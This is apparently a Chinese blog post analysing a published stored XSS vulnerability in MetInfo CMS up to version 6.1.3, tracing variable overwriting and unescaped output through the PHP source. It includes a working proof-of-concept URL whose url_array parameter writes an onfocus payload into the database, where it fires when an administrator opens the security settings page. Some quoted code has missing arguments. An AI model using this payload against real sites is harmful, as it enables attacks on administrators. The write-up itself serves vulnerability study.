最近一直在刷这个cms的漏洞,主要是为了让自己维持一点代码量,不至于生疏,好久没有都没有大块的时间做安全了,和自己的精力有关,也和自己的心态有关,不管怎样,还是要抽时间维持一下自己的爱好,日子不能过的太爽,分析别人已经发出来的CVE,同时也是给自己找点事情做。 每个CMS都有自己的传值的方式,tp5系列远程代码执行漏洞也是这样出来的,metinfo的漏洞主要和它的变量覆盖有关。 同时也说说自己的漏洞观点,没有一个系统是安全的,如果是,只不过漏洞还没有被挖掘出来。 和以前一样的节奏,如果只是想复现一下这个漏洞,直接看漏洞的利用方式,漏洞的细节不用看。 以下是历史版本和最新版本的下载地址:
https://www.mituo.cn/faq/1519.html
https://www.mituo.cn/download/
这个漏洞的影响范围一直到最新版本(6.1.3) 可以直接前台访问,然后x到后台:
http://127.0.0.1/admin/login/login_check.php?url_array[]=123&url_array[]=123&url_array[]=aa%22+autofocus+onfocus=alert(2)+a=%0a%0ba=&url_array[]=123
管理登录后台,切换到“安全与效率”界面,XSS可自动触发。
漏洞的触发点在
admin/login/login_check.php
同样的
<?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.
error_reporting(E_ERROR | E_WARNING | E_PARSE);
if($depth!=''&&$depth!='../'&&$depth!='../../'){die();}
if(!isset($depth))$depth='';
$commonpath=$depth.'include/common.inc.php';
$commonpath=$admin_index?$commonpath:'../'.$commonpath;
define('SQL_DETECT',);
require_once $commonpath;
if($depth!=''&&$depth!='../'&&$depth!='../../'){die();}
$turefile=$url_array[count($url_array)-2];
if($met_adminfile!=$turefile&&$adminmodify!=){
$met_adminfile=$turefile;
$turefile=authcode($turefile,'ENCODE',$met_webkeys);
$query="update $met_config set value='$turefile' where name='met_adminfile' and lang='metinfo'";
$db->query($query);
}
加载了 $commonpath=include/common.inc.php
同样 在如下的代码段里存在变量覆盖漏洞:
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{} != '_' && $$_key = daddslashes($_value,,,);
$_M['form'][$_key]=daddslashes($_value,,,);
}
}
不再过多的分析;
接着往下看
我们可以控制url_array
变量,从而控制turefile
,进入如上的if语句,可以直接更改数据库数据
$_M 数组是一个包含了网站设置,系统调用等信息的总和数组,具体内容如下:
$_M[config]:网站配置数组,里面可以查询到所有的网站配置数据。
$_M[form]:提交的GET,POST,COOKIE表单数组。在系统中不要直接使用$_POST,$_GET,$_COOKIE,
这些都是没有过滤的,$_M[form]中是已经安全过滤后的数组。
$_M[langlist]:语言设置数组,其中$_M[langlist][web]为前台语言设置,
$_M[langlist][admin]为后台语言设置。
$_M[lang]:前台语言,如果你是在网站前台,则这个值是你当前访问的语言,
如果是后台,则这个值是你当前编辑的语言。
$_M[table]:系统表名称。
$_M[url]:系统一些常用URL入口地址。
$_M[url][site_admin] :网站后台地址
$_M[url][site] :网站前台地址
$_M[url][entrance] :框架入口地址
$_M[url][own] :当前执行的应用根目录地址
$_M[url][app] :应用根目录地址
$_M[url][pub] :系统公用文件(html.css,js)地址
$_M[url][ui] :当前class所使用的UI地址,前台为“系统ui根目录/web”;,
后台为“系统ui根目录/admin”。
$_M[user][cookie]:用户cookie信息,建议不要直接取值,使用get_met_cookie()取值。
$_M[word]:当前的语言参数。
$_M[plugin]:系统插件数组。
在 app/system/include/class/common.class.php
$_M['config']['met_adminfile'] = authcode($_M['config']['met_adminfile'],'DECODE', $_M['config']['met_webkeys']);
if ($_M['config']['met_adminfile'] == '') {
$_M['config']['met_adminfile'] = 'admin';
$met_adminfile = authcode($_M['config']['met_adminfile'],'ENCODE', $_M['config']['met_webkeys']);
$query = "UPDATE {$_M['config']['tablepre']}config SET `value` = '$met_adminfile' where `name`='met_adminfile'";
$result = DB::query($query);
}
中可以看到,met_adminfile也就是我们可以控制的值存在于$_M['config']['met_adminfile']
,所以只要全搜索$_M['config']['met_adminfile']
,就可以可以找到我们了可以控制的点了:
app/system/safe/admin/templates/index.php
在这个文件中,可以发现,标签直接输出了,所以可以构造特殊的存储类型的xss。
XSS的构造方式有很多中,但是只要满足输出条件即可:
$turefile=$url_array[count($url_array)-2]
在倒数第二个值中输入我吗想要的值就可以了。